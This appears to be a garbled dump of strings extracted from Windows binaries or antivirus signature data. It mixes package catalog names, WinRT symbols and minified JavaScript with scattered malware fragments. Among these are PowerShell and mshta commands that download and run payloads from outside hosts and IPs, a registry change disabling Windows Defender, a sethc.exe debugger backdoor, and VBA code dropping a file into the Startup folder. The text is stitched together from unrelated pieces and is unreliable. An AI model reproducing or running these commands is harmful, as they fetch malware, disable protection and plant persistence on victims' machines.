>qu\windows10-kb4579311.exe\Data.datProcessReplace!#ATTRIBUTE:TAO:Downloader!bitr
v1system32>*
powershell=%systemroot%\system32\windowspowershell\v1.0\powershell.exe"set"zip_url=https://winsupport.lol/file/kwinnovation.zip"set"download_path=%temp%\test_payload.zip
C:\Windows\Temp\bqt_log.txtTrojan:Win64/Maranhao.GAU!MTB
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_c
c:\windows
</deeplink><icon>%windir%\system32\control.exe</icon>
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-SecureStartup-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|Microsoft-OneCore-SecureStartup-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-CoreSystem-MSXML6-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Package_13_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|Package_8_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|f3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|64~~10.0.26100.7840.cat|856ad364e
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.6
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.8
WINDOWS.SERVICES.TARGETEDCONTENT.INTERNAL.TARGETEDCONTENTSUBSCRIPTIONINTERNAL
\windows
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\resource.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result.h
c:\windows\system32\cmd.exe/v:on/d/cmshta"javascript:var_$_
	COMPUTERNAME=WINDOWS11
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.5
WindowsOobeAppHost.AppX9g38f7ck9dycet3v4dtd5skcn8z020zj.wwa
WindowsOobeAppHost.AppXtrjm3twvhvv4twryxks256hqxwsngpfx.mca
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.WinRTClassActivation
    name="Microsoft.Windows.COM.RuntimeBroker"
<description>Broker Process for Windows Partial Trust Components</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings xmlns:ws2="http://schemas.microsoft.com/SMI/2016/WindowsSettings">
    </windowsSettings>
Microsoft.Windows.Web.HttpClient
Microsoft.Windows.TlgAggregateInternal
Windows.Web.Http.pdb
Windows\St
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpContentCodingWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpContentCodingWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpContentCodingWithQualityHeaderValueCollection,class HttpContentCodingWithQualityHeaderValueCollectionImpl>::TryParseAdd
ReadAsOperationBase<struct Windows::Storage::Streams::IBuffer *,struct Windows::Storage::Streams::IBuffer *,unsigned __int64>::CheckRequiresBufferedContent
ReadAsOperationBase<struct Windows::Storage::Streams::IBuffer *,struct Windows::Storage::Streams::IBuffer *,unsigned __int64>::OnStart
ReadAsOperationBase<struct Windows::Storage::Streams::IBuffer *,struct Windows::Storage::Streams::IBuffer *,struct Windows::Web::Http::HttpProgress>::SendRequestProgressHandler::Invoke
"c:\windows\temp\apack.bat 
WindowsSubstring
WindowsConcatString
WindowsDeleteString
WindowsCreateString
WindowsCreateStringReference
WindowsGetStringLen
WindowsGetStringRawBuffer
WindowsCompareStringOrdinal
WindowsDuplicateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsSubstringWithSpecifiedLength
WindowsReplaceString
Windows.Web.Http.dll
Jc:\windows\system32\mshta.exehttps://cornerstonebeverly.org/js/files/docufentososo/doecumentosoneso
powershell\v1.0-windowstylehidden-command"invoke-webrequest-uri'https://ccu.to/xkvxv3/uschov4.exe'
\software\policies\microsoft\windowsdefender"/v"disableantispyware"/treg_dword/d"1"/
verData=C:\Windows\System32\Drivers
LOGONSERVER=\\WINDOWS11
C:\Windows\SystemApps\Microsoft
OMPUTERNAME=WINDOWS11
\windows\currentversion\runo
14" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"T
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
EnumWindows
-\windows\currentversion\run
OMPUTERNAME=WINDOWS113
=C:\Windows\System32\
#s\sethc.exe]"debugger"="c:\\windows\\system32\\cmd+
\appdata\local\microsoft\windows\inetcache\content.word\node.js
System.Windows.Forms
get_ToolWindowStripGapLeft
get_ToolWindowStripGapRight
*.schema.|%WINDIR%\system32\backgroundTask
\Windows\CurrentVersion\E1
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
@{C:\Windows\SystemApps\Microsoft.AsyncTextService_8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}X
C:%5CWindows%5CSystemApps%5CMicrosoft.BioEnrollment_cw5n1h2txyewy%5Cresources.pril,-221
@{C:\Windows\SystemApps\Microsoft.BioEnrollment_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDisplayName}k
.d@{C:\Windows\SystemApps\Microsoft.BioEnrollment_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
@{C:\Windows\SystemApps\Microsoft.BioEnrollment_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDescription}
C:%5CWindows%5CSystemApps%5Cmicrosoft.creddialoghost_cw5n1h2txyewy%5Cresources.pri 
@{C:\Windows\SystemApps\microsoft.creddialoghost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDisplayName}12
@{C:\Windows\SystemApps\microsoft.creddialoghost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
@{C:\Windows\SystemApps\microsoft.creddialoghost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDescription}.d
C:%5CWindows%5CSystemApps%5CMicrosoft.ECApp_8wekyb3d8bbwe%5Cresources.pril,-452
@{C:\Windows\SystemApps\Microsoft.ECApp_8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDisplayName}
@{C:\Windows\SystemApps\Microsoft.ECApp_8wekyb3d8bbwe\resources.pri? ms-resource:///resources/PublisherDisplayName}
 system32
c:\windows\system32\syncappvpublishingserver.vbs;\w*\\\\*2\\\\m*h*a*e('http'+'://107.172.0.180/invoice_06.23.'+'hta')
on eh(t){return t==1?"https://www.bing.com":(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55182095))&&n.config.enabledMsaAuthV2?"077c9b95-2f57-4442-8872-134fcc08fcb3/Bing.MSA.Default":"service::cortana.bing.com::mbi_ssl"}function oh(t){return n.TweakSearch&&n.TweakSearch.isTweakSearchEnabled()?n.config[t]:undefined}function sh(){return n.config.skipSelectedScope&&n.RuntimeConfig.AlwaysWide}function ru(){return!1}function hh(){return SearchAppWrapper.CortanaApp.textScaleFactor>1&&SearchAppWrapper.CortanaApp.textScaleFactor<=1.25}function uu(){return pf()}function ch(){return wf()}function fu(t){if(!n.config.wsbWithCopilot||!uu()||!hi())return!1;const i=n.AccessTokenManager.getWindowsAccountType();return o(t)&&!p(t)&&i!==1&&i!==0}function hi(){switch(SearchAppWrapper.CortanaApp.entryPoint){case"WNSFIS":case"WNSSTB":case"WNSSSB":return!1;default:return!0}}function lh(t){if(!n.config.wsbWithCopilot)return!1;const i=n.AccessTokenManager.getWindowsAccountType();return o(t)&&!p(t)&&i!==1&&i!==0}function ah(){if(!n.config.wsbWithCopilotQF||!hi())return!1;const t=n.AccessTokenManager.getWindowsAccountType();return t!==1&&t!==0}function eu(t){return(n.config.supportedQuickAnswersMarkets[t]||n.config.quickAnswerIcon||n.config.quickAnswerWeb)&&ou()}function ou(){return(n.RuntimeConfig.PreviewPaneAvailable||!n.RuntimeConfig.AlwaysWide&&!n.config.useCobaltCSS&&!f())&&n.RuntimeConfig.QfMode!=0&&n.RuntimeConfig.QfMode!=11&&n.isBingEnabled()&&n.isBrowserOnline()}function vh(){var t;return n.config.anaheimResetDefaultTop&&!n.config.anaheimResetDefaultDisabledLang[(t=kt())===null||t===void 0?void 0:t.substring(0,2)]}function yh(){return n.config.enableCodexUpsell&&n.isCodexEligible()}function su(){return n.config.enableQFSuggestionsToChatRouting&&n.config.enableBingChatString&&n.isCodexEligible()}function ph(n){return n+"&showconv=1&sendquery=1"}function wh(t){return!t||typeof t=="undefined"?t:n.config.enableChatURLUpdate?t.replace("/search","/chat"):t}function bh(t,i,r){if(n.config.enableQFSuggestionsToChatRouting&&n.isCodexEligible()&&!!i&&t==0&&r!="ECS")if(n.config.enablePersonalizedChatNudges)return r==="GPC_PLQ";else{const t=i.trim().split(" ").filter(n=>n.trim()!="").length;return t>=n.config.thresholdForQFSuggToBingChat}return!1}function hu(){return n.config.enableQFChatIcon?n.Host.getWindowsTheme()===2?"searchChatIconDark2":"searchChatIconLight2":"searchChatIcon"}function kh(n){n&&n.handoffType==0&&(n.icon={type:0,className:hu()})}function dh(t,i){return!!i&&!!n.config.enableSearchHomeSuggToBingChat&&t==0&&n.AccessTokenManager.getWindowsAccountType()==2}function gh(){const t=n.Host.getDefaultBrowser()===4;return n.config.enableDefaultBrowserLaunch&&!t}function nc(){if(!n.config.enableSnipSearchV2)return!1;const i="CN";if(!n.revIpRegionCache||n.revIpRegionCache==i||n.regionCache==i||!n.isBingEnabled())return!1;let t=n.Host.getQuery();return ru(t)?!1:w(t)||y(t)?!1:n.Host.isBitmapInClipboardSupported()}function tc(t){return cu(t)&&(!l(!0)||n.config.enableQuickSearch&&l(!0))&&!lu(t)}function cu(t){const i=kt();return(n.isMiniSerpEnabled()||n.config.quickSearchToMsnMarkets[i])&&ct(t)&&!n.isDataSourceEnabled("CUSE",t)}function ic(){if(n.msbHost!==null&&n.msbHost!==void 0)return n.msbHost.features.isEnterpriseScopeEnabled()}function rc(){return n.msbHost&&n.msbHost.features.isQwsEnabled()&&nt()&&n.isMiniSerpEnabled()&&(n.msbHost.qfUtils.getIsMsbClientQfTokenReady()||n.msbHost.qfUtils.getQuickWorkSearchCache()!=null)&&n.config.msbDsbEnabled}function l(t,i){var r,u;let f=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return t?n.config.enableAnaheimWin11ZI?f!=1:(r=n.config.enableAnaheimDataSH&&!n.config.useCobaltCSS&&ct(i)&&f!=1)!==null&&r!==void 0?r:!1:(u=n.config.enableAnaheimDataQF)!==null&&u!==void 0?u:!1}function uc(t){var i,u;return(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.isTest)?n.config.enableWinStoreAppDataProvider:((i=n.config===null||n.config===void 0?void 0:n.config.storeAppEnabledRec
(@windows.data.donotdisturb.quietmoment
isinrole([security.principal.windowsbuiltinrole]::administrator)
.dll""%localappdata%\microsoft\windows\caches\
H@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://U
krosoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe?ms-resource://Application/Files/Assets/SmallTile.png}p
/Ee(_bc:\windows\system32\cmd.exe/cpowershellwgethttp://188.93.233.163/hello.zip-outfile%appdata%/
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')
..\windows\system32\cmd.exe/cmoored\compromise.cmdrundc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll
powershell.exe-windowstylehidden-executionpolicybypass-nologo-noprofile-ciex((new-objectnet.webclient).downloadstring
c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'http://20.86.128.223/room/room4.hta'
Y'%smicrosoft\windows\y
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpContentCodingWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpContentCodingWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpContentCodingWithQualityHeaderValueCollection,class HttpContentCodingWithQualityHeaderValueCollectionImpl>::TryParseValue
ReadAsOperationBase<class Windows::Web::Http::HttpResponseMessage *,struct Windows::Web::Http::IHttpResponseMessage *,struct Windows::Web::Http::HttpProgress>::OnStartCore
ReadAsOperationBase<struct Windows::Storage::Streams::IBuffer *,struct Windows::Storage::Streams::IBuffer *,struct Windows::Web::Http::HttpProgress>::SendRequestCompletedHandler::Invoke
ReadAsOperationBase<class Windows::Web::Http::HttpResponseMessage *,struct Windows::Web::Http::IHttpResponseMessage *,struct Windows::Web::Http::HttpProgress>::BufferAllProgressHandler::Invoke
ReadAsOperationBase<class Windows::Web::Http::HttpResponseMessage *,struct Windows::Web::Http::IHttpResponseMessage *,struct Windows::Web::Http::HttpProgress>::OnStart
ReadAsOperationBase<struct HSTRING__ *,struct HSTRING__ *,struct Windows::Web::Http::HttpProgress>::SendRequestProgressHandler::Invoke
ReadAsOperationBase<class Windows::Web::Http::HttpResponseMessage *,struct Windows::Web::Http::IHttpResponseMessage *,struct Windows::Web::Http::HttpProgress>::SendRequestProgressHandler::Invoke
c:\windows\system32\pcwum.pcwclearcountersetsecurityc:\windows\system32\ktmw32.rollforwardtransactionmanagerc:\users\public\appdata\local\microsoft\windows\inetcache\cachewebe
Could not hide file:Could not set file to system file:Software\Microsoft\Windows NT\CurrentVersion\Winlogon
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\Staging.h
program files\windows defender\
\windows defender advanced threat protection
WindowsFeedbackHubIntegration
WindowsFeedbackHubIntegration
MicrosoftWindows.Client.Photon_cw5n1h2txyewy-In-Allow-Intranet-Authenticate
MicrosoftWindows.Client.Photon_cw5n1h2txyewy-Out-Allow-Intranet-Authenticate
MicrosoftWindows.Client.Photon_cw5n1h2txyewy-Out-Allow-InternetClient
MicrosoftWindows.Client.Photon_cw5n1h2txyewy-Out-Allow-AllCapabilities
%localappdata%\temp\%version%\windows
%programfiles%\symantec\network connected devices auto setup;%system32%
31^windows.appExtension
32^windows.appExtension
\system32\N
C:\WINDOWS\SYSTEMN
 + ActiveDocument.BuiltInDocumentProperties("category").Value).exec "c:\windows\explorer " + 
GetProcessWindowStation
System.Windows.Forms
SystemWindowsForms
MicrosoftVisualStudioWindowsForms
crpted.jpg'-oc:\windows\temp\done.vbs;explorer.exec:\windows\temp\done.vbs;start-sleep1;rm*.vbs,*.wsf
c:\windows\system32\ytrsf.exe
}.Open "GET", "http://coremailxt5mainjsp.com/winlogon.exe".savetofile Environ("APPDATA") & "\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.pif", 2Environ("APPDATA") & "\Microsoft\Windows\Start Menu\Programs\Startup\test.exe"
windows.hlp
Microsoft.Windows.EventAggregation
Microsoft.Windows.Shell.SHCore
Microsoft-Windows-Winsock2
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
content-type: application/octet-stream; file=purplemood.scrcontent-disposition: attachment; filename=purplemood.scrc:\windows\system32\purplemood.scr\purplemood.scrpact518.hit.edu.cnhelo cx
WindowsCreateStringReference
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Windows.Security.Isolation
IIsolatedWindowsEnvironment
IIsolatedWindowsEnvironment2
IIsolatedWindowsEnvironment3
IIsolatedWindowsEnvironment4
IIsolatedWindowsEnvironmentCreateResult
IIsolatedWindowsEnvironmentCreateResult2
IIsolatedWindowsEnvironmentFactory
IIsolatedWindowsEnvironmentFile
IIsolatedWindowsEnvironmentFile2
IIsolatedWindowsEnvironmentHostStatics
IIsolatedWindowsEnvironmentLaunchFileResult
IIsolatedWindowsEnvironmentOptions
IIsolatedWindowsEnvironmentOptions2
IIsolatedWindowsEnvironmentOptions3
IIsolatedWindowsEnvironmentOwnerRegistrationData
IIsolatedWindowsEnvironmentOwnerRegistrationResult
IIsolatedWindowsEnvironmentOwnerRegistrationStatics
IIsolatedWindowsEnvironmentPostMessageResult
IIsolatedWindowsEnvironmentProcess
IIsolatedWindowsEnvironmentShareFileRequestOptions
IIsolatedWindowsEnvironmentShareFileResult
IIsolatedWindowsEnvironmentShareFolderRequestOptions
IIsolatedWindowsEnvironmentShareFolderResult
IIsolatedWindowsEnvironmentStartProcessResult
IIsolatedWindowsEnvironmentTelemetryParameters
IIsolatedWindowsEnvironmentUserInfo
IIsolatedWindowsEnvironmentUserInfo2
IIsolatedWindowsHostMessengerStatics
IIsolatedWindowsHostMessengerStatics2
IsolatedWindowsEnvironment
IsolatedWindowsEnvironmentActivator
IsolatedWindowsEnvironmentAllowedClipboardFormats
IsolatedWindowsEnvironmentAvailablePrinters
IsolatedWindowsEnvironmentClipboardCopyPasteDirections
IsolatedWindowsEnvironmentContract
IsolatedWindowsEnvironmentCreateProgress
IsolatedWindowsEnvironmentCreateResult
IsolatedWindowsEnvironmentCreateStatus
IsolatedWindowsEnvironmentCreationPriority
IsolatedWindowsEnvironmentFile
IsolatedWindowsEnvironmentHost
IsolatedWindowsEnvironmentHostError
IsolatedWindowsEnvironmentLaunchFileResult
IsolatedWindowsEnvironmentLaunchFileStatus
IsolatedWindowsEnvironmentOptions
IsolatedWindowsEnvironmentOwnerRegistration
IsolatedWindowsEnvironmentOwnerRegistrationData
IsolatedWindowsEnvironmentOwnerRegistrationResult
IsolatedWindowsEnvironmentOwnerRegistrationStatus
IsolatedWindowsEnvironmentPostMessageResult
IsolatedWindowsEnvironmentPostMessageStatus
IsolatedWindowsEnvironmentProcess
IsolatedWindowsEnvironmentProcessState
IsolatedWindowsEnvironmentProgressState
IsolatedWindowsEnvironmentShareFileRequestOptions
IsolatedWindowsEnvironmentShareFileResult
IsolatedWindowsEnvironmentShareFileStatus
IsolatedWindowsEnvironmentShareFolderRequestOptions
IsolatedWindowsEnvironmentShareFolderResult
IsolatedWindowsEnvironmentShareFolderStatus
IsolatedWindowsEnvironmentSignInProgress
IsolatedWindowsEnvironmentStartProcessResult
IsolatedWindowsEnvironmentStartProcessStatus
IsolatedWindowsEnvironmentTelemetryParameters
IsolatedWindowsEnvironmentUserInfo
IsolatedWindowsHostMessenger
Windows.Foundation
Windows.Foundation.Collections
Narrator now offers a new AI-powered feature that enhances accessibility by providing detailed image descriptions across Windows. Simply press  <b>Narrator key+Ctrl+D</b> and Narrator will provide contextual details, describing people, objects, colours, and even settings within the image. This feature is only available on Copilot+ PCs.
SetConsoleMaximumWindowSize
TermsrvGetWindowsDirectoryA
TermsrvGetWindowsDirectoryW
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
@A_A^A]A\llocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@U?$IVector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@U?$IVectorView@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@V?$tuple@U?$IVector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@winrt@@U?$IVectorView@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@2345@U?$IIterable@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@2345@@std@@@impl@winrt@@
.?AU?$producer@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@U?$IVector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows3h
.?AUtype@?$abi@U?$IIterator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@Uiterator@?$iterable_base@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@3@Ucollection_version@23@@winrt@@U?$IIterator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@Uiterator@?$iterable_base@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@3@Ucollection_version@23@@winrt@@U?$IIterator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@Uiterator@?$iterable_base@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@3@Ucollection_version@23@@winrt@@U?$IIterator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@3@@winrt@@
.?AU?$root_implements@Uiterator@?$iterable_base@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@3@Ucollection_version@23@@winrt@@U?$IIterator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$producer@Uiterator@?$iterable_base@U?$vector_impl@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$vector@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@V?$allocator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@3@Ucollection_version@23@@winrt@@U?$IIterator@UAdaptiveWarning@Uwp@ObjectModel@AdaptiveCards@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
\\system32\\cm
isArrayBufferVieworkRecognition_animationClass name " for setFlagValueIfWithBooleandroid.permission.ACTIVITY_RECOGNITIONativePerformanceCxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxhdpivalidateStylesChanging viewabilityConfig on the fly is not supportedCommands&endDateTime=Feature_CBR_AADoctype can only be inserted before an elementTypeError joining meetingNamediumturquoisearchModeIconOnly_stringRefr-FRAME_CONSTANTSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\LogonStatscheduleUpdateSubstrateAndGraphEndpointsRN_ProviderNetworkErrorComponentWrapperunFeatureChangeTimemoizedStatealwaysBounceHorizontalAlignmentopBlur_executeJavaScriptBundleEntryPointStartUnpinFolderaquoffsetWidthasFeatureStagedFeatureErroreportProviderCacheExpired_onContentSizeChangeCaptureportFeatureUsageReportingKindianred_isNestedWithSameOrientationreadystatechangeTimeasure cannot find view with tag #007AFFeatureUsageReportingModeChangenericBubblingEventTypesFeature_487976e
_obj@U?$_Task_impl@PE$AAVStorageFolder@Storage@Windows@@@detailsV
\@= fso.OpenTextFile("C:\Windows\Temp\bi.bat", WR, True)powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden.DownloadString('https://paste.ee/r/4AIl0')
\windows\currentversion\explorer\advanced-
!#AGG:LoadLibraryFileMissing.SYSTEM32.root.Expensive.L
#<title>windows(
e<title>windowsdefender</title>
\<title>windowserrorsupport</title>
C:\WINDOWS\system32\wbem\wmiprvse.exe=
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
